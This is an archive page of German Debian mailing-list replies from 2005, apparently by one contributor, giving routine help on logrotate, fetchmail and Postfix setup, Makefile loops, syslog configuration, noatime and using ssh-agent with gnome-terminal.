* Mathias Tauber [EMAIL PROTECTED] wrote: ich habe mich beim Ausarbeiten eines Backup-Konzepts gefragt, ob es denn nicht möglich ist die Logrotation mit anderen Endungen laufen zu lassen. Also normal ist ja z.B: mail.log mail.log.1 mail.log.2.bz2 mail.log.3.bz2 mail.log.4.bz2 ... Wenn man jetzt ein Delta Backup macht, werden nach der Rotation natürlich wieder alle Logs gezogen, da ja alle einen neuen Dateinamen haben. Daher meine Idee, he ich nehm nen Timestamp oder noch besser mein eigenes Format. Ich habe bisher aber noch nichts dazu gefunden, ist euch da was bekannt? Also es soll dann so aussehen: mail.log mail.log.2005_11_01 mail.log.2005_11_02.bz2 mail.log.2005_11_03.bz2 mail.log.2005_11_04.bz2 ... So wäre es natürlich perfekt ;O) Für logrotate gibt es das als Patch, der die Option dateext hinzufügt. Ich glaube, das Format ist damit datei.MMDD, aber schau besser mal selber. In logrotate aus etch sollte der Patch mit drin sein, siehe auch http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=178526 - sebastian
Re: Problem mit virtuellen Domains
* Sebastian Dellit [EMAIL PROTECTED] wrote: Ich versuch mal. die Schweinerei zu erklären ;-) - Ich habe bei verschiedenen Anbietern für verschiedene Tätigkeiten Mailboxen. Z. B. meine eigene (gehört mir ;-)) [EMAIL PROTECTED], die für alles rund um BLINDzeln [EMAIL PROTECTED], etc. Du hast also beliebige POP-Accounts für diverse Domains im Internet liegen. Oder stehen obige beide Domains in einem speziellen Verhältnis? - diese Mailboxen liegen auf einem Server. In dem Fall alle auf dem selben. - nun will ich zu Hause - auf meinem Linux Rechner - einen Mailserver mit den folgenden Komponenten einrichten: * Postfix als MTA * Fetchmail zum abholen der Mails vom o. g. Server * Courier POP/IMAP für den Zugriff auf meine Postfächer auf dem eigenen Linux Rechner * später noch Spamassassin und CLAMAV. - Fetchmail soll alle Mails abholen und in meine virtuell angelegten Postfächer einsortieren. Also bei mir habe ich zwar keine virtuellen Postfächer, sondern lokale Benutzer, vom Prinzip her sollte sich das aber auch auf Deinen Anwendungsfall ummünzen lassen. Ich rufe fetchmail manuell auf und hole verschiedenste Postfächer ab, deren Mails dann alle per .fetchmailrc meinem lokalen Benutzeraccount zugeordnet werden. -- .fetchmailrc -- server pop3-gateway.de proto pop3 user [EMAIL PROTECTED] pass xxx is ska user [EMAIL PROTECTED] pass xxx is ska ... server pop.gmx.net proto pop3 user [EMAIL PROTECTED] pass xxx is ska ... -- /.fetchmailrc -- D.h. ähnlich wie bei Dir gibt es POP-Account diverser Domains, die von fetchmail lokal nicht mit der ursprünglichen Empfänger-Adresse eingeliefert werden, sondern einem bestimmten Benutzer zugeordnet werden. Meinem MTA muss ich dafür _nicht_ beibringen, sich für @skayser.de oder @gmx.de verantwortlich zu fühlen (wäre ja auch Quark), denn fetchmail setzt ja um. - Ich hole dann die Mails via POP/IMAP mit meinem XP Client von meinem Linux Rechner ab, bearbeite diese und beantworte ggf. Mails. - da z. B. unter der Domain BLINDzeln viele Postfächer von vielen dort aktiven Helfern gehostet werden, muss ich von Zeit zu Zeit auch an andere [EMAIL PROTECTED] Adressen schreiben, was aber in der derzeitigen Konstellation nicht klappt. :-( Siehe oben. Du musst Deinem lokalen MTA keine virtual domains für all die Adressen beibringen, die Du abholen möchtest. Wenn Du aus welchen Gründen auch immer an dem Konstrukt mit virtuellen Domains prinzipiell erstmal nichts ändern willst, dann verpass' Deinem MTA eine beliebige virtual domain, die aber nichts mit den Domains von draussen zu tun hat (z.B. virtual.dein.host.name) und schaffe per fetchmail eine Zuordnung zwischen den Adressen die abgeholt werden und den Accounts der virtual domains. Die aktuell angelegten virtual domains kannst/musst Du wegschmeissen. Wenn die virtual domains nur Notbefehl für das nicht funktionierende Konstrukt waren, dann verzichte ganz auf die virtual domains und arbeite mit Deinem/n normalen lokalen Benutzeraccounts. - sebastian
Re: Server Hardware
* Saskia Whigham [EMAIL PROTECTED] wrote: ich bin gerade dabei mir einen Server zusammen zustellen. Mein Problem ist die Hardware. Die Hardware sollte so beschaffen sein das sie zu 100 % Debian Sarge 3.1 (Kernel 2.6.8) kompatibel ist. Es soll für einen Datenbank-Server sein. Es klingt vielleicht etwas Arrogant aber das Geld sollte erst einmal nicht so im Vordergrund stehen. Am besten wäre es wenn ihr mir einen Server von Dell, IBM, HP und und und nennen könntet der 100 % Debian Sarge 3.1 (Kernel 2.6.8) kompatibel ist. Ich wollte schon gerne ein komplett System von einem großen oder Namenhaften Hersteller einsetzen also nicht selber zusammen bauen. Zum Thema Dell und Debian. Wir haben hier einige Dell-Server mit Debian am Laufen (PowerEdge 650, 2600, 2650, ..) und lauffähig ist Debian darauf, macht auch keine Probleme. Das sollte auch bei neueren Modellen der Fall sein. Im schön definierten 24x7x5 o.ä. Supportfalle - den deswegen kauft man ja u.a. Hardware von namenhaften Herstellern - wirst Du jedoch schnell merken, dass Debian von Dell nicht supportet ist. D.h. die für RedHat bzw. SuSE verfügbaren Diagnose-Tools sind nicht oder nur unter starker Überredungskunst überhaupt auf Debian lauffähig. Siehe dazu http://lists.us.dell.com/mailman/listinfo/linux-poweredge/ und die diversen Themen rund um OMSA. Oder aber http://www.uta.fi/~pauli.borodulin/dellomsa/omsa44.html wo deutlich werden sollte, dass es zwar Möglichkeiten gibt, die aber nicht wirklich intuitiv sind. Der Stress dem Telefon-Supportler zu verklickern, was denn jetzt genau kaputt ist und weshalb er Dir einen Hardwareaustausch schicken soll, ohne die genaue Aussage seines Diagnose-Tools zu haben, ist also vorprogrammiert. Das kannste Dir m.E. sparen und wenn schon auf namenhafte Hersteller, dann auf diejenigen setzen, die Debian unterstützen. Kleine Frage am Rande: Gibt es die überhaupt und wie sind Eure Erfahrungen damit?! - sebastian
Re: Problem mit virtuellen Domains
* Sebastian Dellit [EMAIL PROTECTED] wrote: am Donnerstag, 17. November 2005 um 18:00 meinte Sebastian Kayser u. a.: * Sebastian Dellit [EMAIL PROTECTED] wrote: [...] Ich rufe fetchmail manuell auf und hole verschiedenste Postfächer ab, deren Mails dann alle per .fetchmailrc meinem lokalen Benutzeraccount zugeordnet werden. [...] Fetchmail macht bei mir quasi das gleiche, nur das ich a) in virtuelle Accounts lege und b) die Benutzer sich nicht ändern, d. h. user [EMAIL PROTECTED] to [EMAIL PROTECTED] Okay, vergiss die identische lokale to-Domain und ersetze die durch eine andere virtuelle Domain (siehe meine letzte Mail und weiter unten). D.h. ähnlich wie bei Dir gibt es POP-Account diverser Domains, die von fetchmail lokal nicht mit der ursprünglichen Empfänger-Adresse eingeliefert werden, sondern einem bestimmten Benutzer zugeordnet werden. Ich habe sowohl lokal als auch auf dem richtigen Server die gleichen Benutzer, was aber keine Rolle spielen dürfte. Wenn ich deine fetchmailrc richtig verstehe, dann werden bei dir alle Mails von den verschiedenen Accounts zu ein und dem selben lokalen Benutzer geschickt? Japp. Meinem MTA muss ich dafür _nicht_ beibringen, sich für @skayser.de oder @gmx.de verantwortlich zu fühlen (wäre ja auch Quark), denn fetchmail setzt ja um. OK, aber du redest ja gerade IMHO vom abholen der Mails, ich aber vom versenden ... *kopfgrübel* ;-) Ja, denn Dein Versendeproblem ist gekoppelt an Dein falsches Konstrukt beim Empfang. Du hast Deinem MTA beigebracht für die Domains aritamba.de usw. verantwortlich zu sein und dies vollzieht er dann auch in letzter Konsequenz. D.h. er nimmt zwar brav die abgeholten Mails an, aber beim Verschicken stellt er fest, dass er ja das letztendliche Ziel für Mails an Deine Problem-Domains ist und fällt dann auf die Nase, weils den adressiert Benutzer bei Dir nicht gibt. Baue Dein Empfangskonstrukt um (z.B. mit der behelfsmäßigen virtual domain) und Du löst Deine Versendeprobleme. Ich wollte von vorne herein keine lokalen echten Benutzer anlegen, mir missfällt diese Variante. Also z. B. einen Lokalen Benutzer pro Postfach o. ä. Ich brauche aber auch nach außen hin die verschiedenen Konten, daher ... Siehe unten. Wenn die virtual domains nur Notbefehl für das nicht funktionierende Konstrukt waren, dann verzichte ganz auf die virtual domains und arbeite mit Deinem/n normalen lokalen Benutzeraccounts. Da ich nur einen Benutzeraccount habe, ist das nicht so einfach. ;-) Ich wollte auch keine weiteren Benutzer anlegen, es gefällt mir irgendwie nicht so richtig irgendwelche Benutzer zu haben, die blöde in der Ecke rum stehen und nichts weiter machen, außer Mails hin und her zu schaufeln. Daher die virtuelle Sache. Ich habe auch nur einen lokalen Benutzer über den ich mit verschiedenen Identitäten verschicke. Nach deinem Vorschlag muss ich wohl, so vermute ich, sowohl eingehend als auch ausgehend die Mailadressen umbauen. Denn nach außen hin hat jede Adresse bei mir andere Einsatzgebiete. ;-) Nein. Eingehend umbauen ja, denn Dein MTA darf nicht verantwortlich für die extern liegenden Domains sein, von denen Du Mail abholst. Andernfalls bekommst Du Deine bekannten Versendeprobleme. Ausgehend legt die Adresse in aller Regel der Client fest. Ich gebe meinem mutt mit, welche Absendeidentität ich haben möchte und gut ist. Dafür benutze ich genau _einen_ Benutzer. Mein lokaler MTA nimmt die Mail an (da lokales relayen erlaubt), verschickt das weiter an den Smarthost von meinem Provider (der mir relayen erlaubt, da per SASL authentifiziert) und dann geht die Mail an ihren Adressaten. Das Festlegen der Absendeadresse findet dabei nur im MUA statt. Dein The Bat! ist doch so konfiguriert, dass er Mail per SMTP an Deinen MTA zur Weiterverarbeitung schickt. Die Mail geht dort also erstmal nicht benutzergebunden ein, sondern The Bat! regelt die Absendeadresse im SMTP-Dialog, d.h. der Absender sollte sich auch ohne multiple Accounts einfach beim Verschicken wählen lassen. Keine Ahnung wie The Bat! das genau handhabt, aber jeder halbwegs vernünftige MUA kann das. Zu sagen ist vielleicht noch, das ich auf meinem Windoof Client The Bat einsetze. D. h. für jedes Konto habe ich eine eigene Dateistruktur. Daher ordne und filtere ich in TB auch nach den Konten. Alles bissel verzwickt. ;-) Eigentlich nicht, aber schriftlich irgendwie doch ;) - sebastian
Re: Wie dokumentiert ihr ? Suche eleganten Weg für Dokumentation
* Georg Lohrer [EMAIL PROTECTED] wrote: Ideal wäre ein stand-alone Wiki in Python auf flat-text Basis. Dann käme ich ohne einen Webserver aus, brauche keine Datenbank und kann's laufen lassen, wo ich will. Auch PyWikiServer werde ich mir noch anschauen. Schau Dir mal MoinMoin an. http://moinmoin.wikiwikiweb.de/ Ist in Python geschrieben und bietet den von Dir gesuchten standalone-Modus. - sebastian
Re: Server Hardware
* Andreas Vögele [EMAIL PROTECTED] wrote: Sebastian Kayser schreibt: Im schön definierten 24x7x5 o.ä. Supportfalle - den deswegen kauft man ja u.a. Hardware von namenhaften Herstellern - wirst Du jedoch schnell merken, dass Debian von Dell nicht supportet ist. D.h. die für RedHat bzw. SuSE verfügbaren Diagnose-Tools [...] Kann ich bestätigen. Meiner Erfahrung nach, redet sich der Dell-Support auch dann mit dem Hinweis auf RedHat raus, wenn klar ist, dass das Problem überhaupt nichts mit der Distribution zu tun hat. Unterstützt Dell inzwischen SuSE? Noch vor ein paar Monaten haben die nur RedHat unterstützt; da bin ich mir ziemlich sicher. Ja mit der neuen EM64T-Reihe (PE2850 Co), bekommst Du SLES9 zwar nicht vorinstalliert, aber immerhin als supportetes OS mitgeliefert. Selbst OMSA lies sich darauf klaglos in Betrieb nehmen. Der Stress dem Telefon-Supportler zu verklickern, was denn jetzt genau kaputt ist und weshalb er Dir einen Hardwareaustausch schicken soll, ohne die genaue Aussage seines Diagnose-Tools zu haben, ist also vorprogrammiert. Hm, wenn man die von Dell eingerichtete DOS-Partition nicht löscht, sollte man die DOS-Version der Diagnose-Tools starten können. Haben wir auch bisher immer beibehalten, aber das setzt natürlich immer voraus, dass Du den Server rebootest (und dann kommste ja auch mit anderen Boot-CDs/-Disketten von Dell weiter). Okay, wenn die Kiste Ärger macht, tut das nicht weh, aber dann will der Supportler noch die Ausgabe von Tool xy und und und ... Lange Rede, kurzer Sinn: Es führen viele Wege nach Rom, es gibt jedoch sicherlich weniger (kiesel)steinige als Debian auf Dell-Maschinen. Ich will hier nicht schwarzmalen, wir fahren die Dinger ja schließlich auch und es geht. Aber wenn man vor der Wahl steht, kann man sich die Alternativen ja mal genauer betrachten und wissen, worauf man sich einlässt. - sebastian
Re: SSH
* Markus Braun [EMAIL PROTECTED] wrote: Falls es eine dumme Firewall ist, kannst du ja mal versuchen den SSH Server auf Port 80 (http) oder ftp-ports usw laufen zu lassen.. Ich kann es versuchen, nur in meinem ie sind die proxy ports: 8080 Nur der 8080 port ist bei mir schon belegt. :( Der Artikel Firewalls durchbohren von Johannes Franken unter http://www.jfranken.de/homepages/johannes/vortraege/ssh3.de.html stellt die Möglichkeiten in Abhängigkeit von den Firewall-Gegebenheit recht gut dar, schau Dir den mal an. Vor Ewigkeiten habe ich mit dem dort erwähnten transconnect SSH und IRC durch nen HTTPS-Proxy getunnelt. - sebastian
Re: Firefox in fvwm2 nicht zu sehen
* Raphael Ernst [EMAIL PROTECTED] wrote: ich wollte von meinem bisherigem Enlightenment zurueck zum (guten alten) FVWM2 wechseln. Das Problem ist, dass wenn ich Firefox starte erscheint kein Fenster im FVWM. Mozilla-Thunderbird, o.Ä. Funktoniert ohne Probleme. Der Firefox ist in einem chroot installiert, aber andere Anwendungen (Mplayer, Openoffice) aus dem chroot verurschachen dieses Problem nicht. Hat da jemand eine Idee? [...] Menus AddToMenu applications Tools Title + Firefox Exec firefox + Thunderbird Exec mozilla-thunderbird + Nop + xterm Exec xterm + Nop + xmmsExec xmms #+Nop #+ Mount PopUp Mount #+ UnMountPopUp UnMount #+Nop #+ Fetchmail Exec wterm -e fetchmail Hinterlege den Startbefehl doch mal mit absoluter Pfadangabe. - sebastian
Re: Firefox in fvwm2 nicht zu sehen
* Raphael Ernst [EMAIL PROTECTED] wrote: Sebastian Kayser wrote: * Raphael Ernst [EMAIL PROTECTED] wrote: ich wollte von meinem bisherigem Enlightenment zurueck zum (guten alten) FVWM2 wechseln. Das Problem ist, dass wenn ich Firefox starte erscheint kein Fenster im FVWM. Mozilla-Thunderbird, o.Ä. Funktoniert ohne Probleme. Der Firefox ist in einem chroot installiert, aber andere Anwendungen (Mplayer, Openoffice) aus dem chroot verurschachen dieses Problem nicht. Hat da jemand eine Idee? [...] Menus AddToMenu applications Tools Title + Firefox Exec firefox [...] Hinterlege den Startbefehl doch mal mit absoluter Pfadangabe. Das Problem ist nicht, dass der Firefox nicht startet. top und/oder ps listen den Prozess. Man sieht das Fenster nur nicht. Poste Dein Problem doch mal im Fvwm-Forum unter http://fvwm.lair.be, da bekommst Du sicherlich geholfen. - sebastian
Re: Virtuelle Mailboxen und Postfix
* Sebastian Dellit [EMAIL PROTECTED] wrote: ich versuche gerade meinem Postfix virtuelle Mailboxen beizubringen. Dies habe ich (bis auf den teil mit sasl - den ich später machen will) nach dem HOWTO von http://postfixwiki.org/index.php?title=Virtual_Users_and_Domains_with_Courier-IMAP_and_MySQL probiert. Aber leider klappt das nicht so, wie ich es gerne hätte. Irgendwie klappt die Verbindung zum MYSQL Server nicht, wenn man nach den Logeinträgen urteilen darf: Nov 13 17:03:37 samba postfix/trivial-rewrite[12240]: warning: connect to mysql server localhost: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) Ist zwar schon eine Weile her, dass ich das gemacht habe, aber Deine Kiste hat ein grundlegendes Problem mit der Verbindung zu MySQL über den Socket /var/run/mysqld/mysqld.sock zu haben. Fallstrick ist hier oftmals, dass der Postfix in einer chroot-Umgebung läuft, der Socket für MySQL sich aber nicht innerhalb der chroot-Umgebung befindet. Wie sieht denn Deine master.cf aus? Wenn dort die Definition für den smtpd mit einem 'y' bei chroot versehen ist, dann musst Du MySQL dazu bringen auch unterhalb des queue_directory von Postfix den Socket zu öffnen. Wie genau das funktioniert kannste dann sicherlich google mit postfix chroot mysqld.sock fragen. Die folgenden paar Zeilen entstammen einer Config ohne chroot. # == # service type private unpriv chroot wakeup maxproc command + args # (yes) (yes) (yes) (never) (50) # == smtp inet n - - - - smtpd - sebastian
Re: Makefile
* Ole Janssen [EMAIL PROTECTED] wrote: Am Donnerstag, 10. November 2005 22:59 schrieb Sebastian Kayser: Wo wir gerade so schön dabei sind. Hat jemand von Euch 'ne Ahnung, wie ich ein Schleifenkonstrukt ählich obigem hinbekomme, bei dem im do-Teil auftretende Fehler ignoriert werden? $ ls bar Makefile $ cat bar bar $ cat Makefile all: @-set -e; for i in foo bar; do cat $$i; done $ make cat: foo: Datei oder Verzeichnis nicht gefunden make: [all] Fehler 1 (ignoriert) Hier sagt er zwar schön er hat den Fehler ignoriert, aber hat die Ausführung der Schleife de facto nach dem ersten Durchlauf abgebrochen. Ja, weil Du mit set -e erzwingst, dass die Shell sich sofort bei einem Fehler beendet (man bash - shell builtin commands - set). [...] Lass das set -e weg. Bestens, danke schön. Irgendwie war mir vor lauter make-Syntax überhaupt nicht mehr klar, dass es sich bei den Kommandos letztendlich um reine Bash-Syntax handelt. Kein Wunder, dass ich in den relevanten make-Hilfen nichts zu meinem Problem gefunden habe ;) - sebastian
Re: Makefile
* Roland M. Kruggel [EMAIL PROTECTED] wrote: ich bin gerade dabei einen Makfile zu erstelle. Klappt soweit auch, bis auf eine kleinigkeit die ich nicht hin bekomme. Ich will aus dem 'Hauptmakefile' den nächsten Makefile in einem Unterverzeichniss aufrufen. Kriegs nicht hin. Kann mir bitte mal jemand einen Tip geben. Dokumentiert findest Du es hier: http://www.gnu.org/software/make/manual/html_chapter/make_5.html#SEC58 - sebastian
Re: Makefile
* Markus Schulz [EMAIL PROTECTED] wrote: Am Donnerstag, 10. November 2005 16:47 schrieb Roland M. Kruggel: ich bin gerade dabei einen Makfile zu erstelle. Klappt soweit auch, bis auf eine kleinigkeit die ich nicht hin bekomme. Ich will aus dem 'Hauptmakefile' den nächsten Makefile in einem Unterverzeichniss aufrufen. Kriegs nicht hin. Kann mir bitte mal jemand einen Tip geben. noch eine Variante: SUBDIRS = dir1 dir2 dir3 %: @echo -n Making... ; @echo $(SUBDIRS) @set -e; for i in $(SUBDIRS); do $(MAKE) -C $$i $@ ;done Wo wir gerade so schön dabei sind. Hat jemand von Euch 'ne Ahnung, wie ich ein Schleifenkonstrukt ählich obigem hinbekomme, bei dem im do-Teil auftretende Fehler ignoriert werden? $ ls bar Makefile $ cat bar bar $ cat Makefile all: @-set -e; for i in foo bar; do cat $$i; done $ make cat: foo: Datei oder Verzeichnis nicht gefunden make: [all] Fehler 1 (ignoriert) Hier sagt er zwar schön er hat den Fehler ignoriert, aber hat die Ausführung der Schleife de facto nach dem ersten Durchlauf abgebrochen. Da das ganze auf der Shell funktioniert $ for i in foo bar; do cat $i; done cat: foo: Datei oder Verzeichnis nicht gefunden bar muss es wohl eine Intelligenz von make sein, die bei Beispiel 2 interveniert, den Fehler abfängt und die weitere Ausführung verhindert. Wie kann man das unterdrücken? - sebastian
Re: Konfiguration von postfix
* Norbert Harz [EMAIL PROTECTED] wrote: man möge mir die Frage verzeihen... ;-) Als SuSE - Umsteiger kenne ich ja YAST. Damit konnte man relativ problemlos eine Grundkonfiguration von postfix durchführen. Gibt es eine vergleichbare Lösung für debian, um bei postfix eine Grundkonfiguration durchzuführen?? Evtl. mit Webmin und dem entsprechenden Modul, das ist aber nur gemutmaßt. Ansonsten liste doch einfach mal die Einstellungen, die Du unter SuSE mit yast machen würdest. Hier können Dir sicherlich ein paar Mitleser die entsprechenden postfix-Konfigurationsparameter nennen, dann lernste noch was bei. - sebastian
Tool fü r Terminal-Screenshots?
Hallo, die Frage stelle ich sicherlich nicht als Erster, aber ich habe gerade nicht die passenden google-Formulierung parat. Wie bzw. mit welchem Tool kann man denn einen Text-Screenshot von einem Terminal (d.h. Textkonsole, tty, ..) machen? script zur Aufzeichnung einer Terminal-Sitzung kenne ich. Da muss ich aber bereits vorher wissen, dass ich etwas aufzeichnen will. Eben habe ich noch die Variante mit cat /dev/vcs1 terminalshot für ein Abbild von tty1 gefunden. Kann ich das auch für Sitzungen auf pts/X verwenden und wenn ja, wie ist denn die Zuordnung zwischen den vcs-Geräten und den Pseudo-Terminals? Oder aber gibts da ein kleines praktisches Tool für, das sowohl Terminals als auch Pseudo-Terminals screenshoten kann? - sebastian
Re: Rescue-Disk selber erstellen
* Christian Schulte [EMAIL PROTECTED] wrote: Sebastian Laubscher schrieb: hatte das gleiche Problem mal mit mehreren Dell-Servern. Es gibt im Internet ein ISO von woody (irgendein Japaner hat's glaube ich gebaut), in dem ein haufen Module fuer Raids etc. schon drin sind. Wenn es irgendwo eine Woody- oder Sarge-Boot-CD mit einem Kernel, der die Raid-Treiber korrekt lädt und dann am besten auch noch die gängisten SCSI-Treiber fest eincompiliert hat, könnte ich das trotzdem ganz gut gebrauchen. Ich glaube fast, Sebastian meinte das ISO von http://wiki.osuosl.org/display/LNX/Debian+on+Dell+Servers Zumindest habe ich damit bereits auch einige Dell-Server reanimieren bzw. überhaupt erst animieren können. Keine Ahnung, ob das auch für Deinen speziellen Fall alle Treiber enthält. Das Teil ist zwar eigentlich ein woody-Installer, aber wenn erstmal gebootet, kannst Du über die parallel offenen tty's aufs System zugreifen. - sebastian
Re: cyrus21/imapd auf logl evel info ändern
* André Bischof [EMAIL PROTECTED] wrote: da ich in den Logs (mail.log, syslog) immer Meldungen wie squat index not found) bekomme und ich aus Google erfahren habe, dass ich den loglevel von debug auf info ändern soll, wollte ich das jetzt mal machen - ich kriege aber nicht raus wie. Inwiefern die squat .. - Meldungen tatsächlich irrelevant sind, kann ich nicht beurteilen. Für den Rest s.u. Nach den Manpages scheint es in cyrus.conf oder imapd.conf dafür keine Option zu geben, meine syslogd.conf scheint erst ab info zu loggen - wobei ich sagen muss, dass ich die Syntax für syslogd.conf (s.u.) noch nicht ganz kapiert habe (was bedeutet bspw. das - bei -/var/log/sylog?). Das vorangestellte Minus deaktiviert das standardmäßige, synchrone Schreiben für dieses Ziel. Logs für dieses Ziel können also asynchron, d.h. gepuffert und ressourcenschonend bei Gelegenheit weggeschrieben werden. Spart Disk-I/O, mitunter können Dir aber bei einem Servercrash Logeinträge flöten gehen. Deshalb werden die wirklich wichtigen Informationen immer synchron geschrieben. Kann mir jemand sagen was ich ändern muss? Schau Dir einfach an, mit welchen Zeilen überhaupt in die von Dir genannten Dateien (mail.log, syslog) geloggt wird. Damit reduziert sich das ganze auf ein Minimum. *.*;auth,authpriv.none -/var/log/syslog Hier werden Nachrichten aus allen Facilities und jeder Severity außer jegliche Nachrichten aus auth und authpriv (auth,authpriv.none ist gleichbedeutend mit auth.none;authpriv.none) in die Datei syslog geschrieben. Damit landen dort auch Nachrichten aus mail.debug, was Du ja nicht haben möchtest. Daher ändere das beispielswese ab zu *.*;auth,authpriv,mail.none -/var/log/syslog mail.xy wird ja bereits zuhauf in andere Dateien geloggt, da brauchts das in syslog nicht auch noch. mail.* -/var/log/mail.log Die Selektion links auf mail.info abändern, oder aber gleich ganz auskommentieren, da ja bereits eine entsprechende .info-Regel mit /var/log/mail.info als Ziel existiert. - sebastian
Re: noatime ständi g in fstab?
* Dirk Salva [EMAIL PROTECTED] wrote: knappe Frage: was macht der Parameter noatime genau, ... Bei einem Zugriff auf Dateien eines mit noatime gemounteten Dateisystems wird deren atime im inode nicht aktualisiert. D.h. normalerweise muss bei jedem lesenden Dateizugriff die atime der gelesenen Datei geändert werden, was speziell bei vielen kleinen zu lesenden Dateien Zeit kostet. ... und kann ich den aufm Läppi dauerhaft und für alle Partitionen in der fstab stehen haben? Bringt das überhaupt was? Ich mach das nur bei Dateisystemen für Dienste die definitiv nicht mit der atime arbeiten (z.B. beim squid cache dir). Einen objektiven Messungsnachweis, dass damit bemerkbar was erreicht wird habe ich bisher noch nicht gemacht (Asche auf mein Haupt...). Auf Deinem Notebook und allen Parititionen ist mir nicht klar, ob a) alle Deine Anwendungen überhaupt mitspielen (gibts evtl. welche die mit der atime arbeiten?) b) der Benefit gegeben ist (evtl. bei nem grossen Maildir in Deinem Home o.ä.) - sebastian
ssh-agent und gnome-terminal
Hallo, ich habe mir hier mangels Kenntnis von Alternativen zur SSH-Pubkey-Authentifizierung eine .bashrc-Lösung für meinen ssh-agent geschustert. Ich arbeite unter gnome und starte zu Beginn meiner Sitzung einmal ein gnome-terminal, in dem ich eval `ssh-agent` aufrufe. Für alle weiteren gnome-terminals die ich dann unabhängig von diesem über mein Panel bzw. ein Tastenkürzel starte, habe ich in der .bashrc export SSH_AUTH_SOCK=`find /tmp/ssh-* -uid $UID -name agent.* 21 | head -1 ` export SSH_AGENT_PID=${SSH_AUTH_SOCK##*.} hinterlegt. Wenn ich nun ein gnome-terminal starte und dort manuell eine SSH-Sitzung zu Rechnern aufbaue, auf denen mein Schlüssel hinterlegt ist, funktioniert das einwandfrei. Wenn ich jedoch das gnome-terminal über einen kleinen Wrapper [1] aufrufe der im Endeffekt ein gnome-terminal mit der Option -x und dem ssh-Befehl aufruft, dann wird die .bashrc anscheined nicht verarbeitet und damit fehlen leider die notwendigen SSH_-Umgebungsvariablen (Auch wenn ich im Profil des Terminals Befehl als Login-Shell starten aktiviere). Irgendwelche Ideen, wo man da was drehen bzw. das evtl. ganz anders aufziehen kann, so dass ich meinen Wrapper mit funktionierender SSH-Authentifizierung benutzen kann? Das gnome-terminal sollte bleiben, damit kann ich für meine Kollegen älteren Semesters so schön kurzfristig per STRG + '+' die Font-Größe auf ein erkennbares Maß erhöhen ;) Mit xfce4-terminal gibt es in geschildertem Konstrukt kein Problem (bis auf das fehlende STRG + '+'), d.h. dort wird die .bashrc gesourced. - sebastian [1] Wrapper = Xdialog, in dem ich meinen Zielhost eingebe, dann ggf. um User-/Domainangaben ergänze um wiederum schlussendlich ein $GTERM -t $host -x luit -encoding 'ISO 8859-15' ssh -C -A -X $host zu machen.
Re: ssh-agent und gnome-terminal
On Mi, Aug 24, 2005 at 12:55:00 +0200, Werner Zacherl wrote: Am Wednesday, 24. August 2005 12:25 schrieb Sebastian Kayser: Hallo, ich habe mir hier mangels Kenntnis von Alternativen zur SSH-Pubkey-Authentifizierung eine .bashrc-Lösung für meinen ssh-agent geschustert. für Dein anderes Problem kann ich zwar nicht helfen, aber schau doch mal diese Seite an http://www.debianhowto.de/de:howtos:woody:ssh damit hab sogar ich es geschafft. Nur geht es bei mir lediglich um einen speziellen Anwendungsfall (ssh-agent + Gnome/gnome-terminal) auf der Client-Seite und nicht um die Serverkonfiguration wie unter obiger URL beschrieben. Die Pubkey-Authentifizierung an sich (d.h. auch die Serverkonfiguration) funktionieren einwandfrei. Nur die Integration des ssh-agent in meine Gnome-Sitzung und deren gnome-terminals (bzw. die Interaktion des gnome-terminals mit meinem derzeitigen .bashrc-Konstrukt) wirft bei mir Fragen auf. - sebastian
Re: ssh-agent und gnome-terminal
On Wed, Aug 24, 2005 at 13:28:45 +0200, Frank Küster wrote: Die Alternative ist allerdings schon eingebaut: Per default werden Xsessions in Debian als Kinder eines ssh-agent-Prozesses gestartet (use-ssh-agent in /etc/X11/Xsession.options); ich hoffe mal dass auch gdm sich daran hält. Dann brauchst du nur in einer beliebigen Shell unter X ssh-add aufzurufen, und es funktioniert. Danke für den Tipp, hatte doch gehofft, dass es diesbzgl. etwas Intuitiveres gibt. Ich verwende hier auf dem Client Ubuntu 5.04 und im Xsession-Skript für gdm und seinen div. Subskripts wird von Haus aus kein use-ssh-agent ausgewertet. Das habe ich jetzt bei mir angepasst. export SSH_AUTH_SOCK=`find /tmp/ssh-* -uid $UID -name agent.* 21 | head -1 ` export SSH_AGENT_PID=${SSH_AUTH_SOCK##*.} :-( Schon klar ;). Hat - wenn auch begrenzt - für meine anfänglichen Bedürfnisse ausgereicht. Wenn ich jedoch das gnome-terminal über einen kleinen Wrapper [1] aufrufe der im Endeffekt ein gnome-terminal mit der Option -x und dem ssh-Befehl aufruft, dann wird die .bashrc anscheined nicht verarbeitet und damit fehlen leider die notwendigen SSH_-Umgebungsvariablen (Auch wenn ich im Profil des Terminals Befehl als Login-Shell starten aktiviere). Das ist klar, denn da sind zwei Shells aktiv: Die eine, die den wrapper abarbeitet, und die ist keine login-Shell, und die zweite, die dann im Gnome-Terminal gestartet wird (und als erstes ssh aufruft). Nur die zweite hast du zur login-Shell gemacht. Die erste bräuchte aber deinen key... Wenn auch jetzt nebensächlich, ist mir das nicht ganz klar. Mein Wrapper in der ersten Shell baut doch lediglich den Aufruf für das Gnome-Terminal mit ssh Co zusammen. Wozu bräuchte die Shell mit dem Wrapper dann einen key, wenn doch ssh selbst erst in der zweiten Shell (die dann eine login-Shell mit den key-Informationen sein sollte) aufgerufen wird? Du kannst den Wrapper natürlich mit #!/bin/bash -l starten. Aber ich würde es einfach über den sowieso laufenden ssh-agenten machen. Ja, die Variante mit ssh-agent per gdm hat es getan. Besten Dank. - sebastian
Re: wget mit in- und out-file
On Tue, Aug 23, 2005 at 12:52:02AM +0200, Werner Mahr wrote: ich bin gerade ein bisschen mit basename am spielen, da kommt vielleicht was universelleres bei raus. Kann man das irgendwie hinbekommen, das die Datei 001 heißt, und nicht nur 1? Ich hätte schon gerne die ursprüngliche Reihenfolge behalten. Dafür kannst Du printf verwenden. printf %03d 1 - sebastian
Re: Probleme beim kompilieren des mplayers
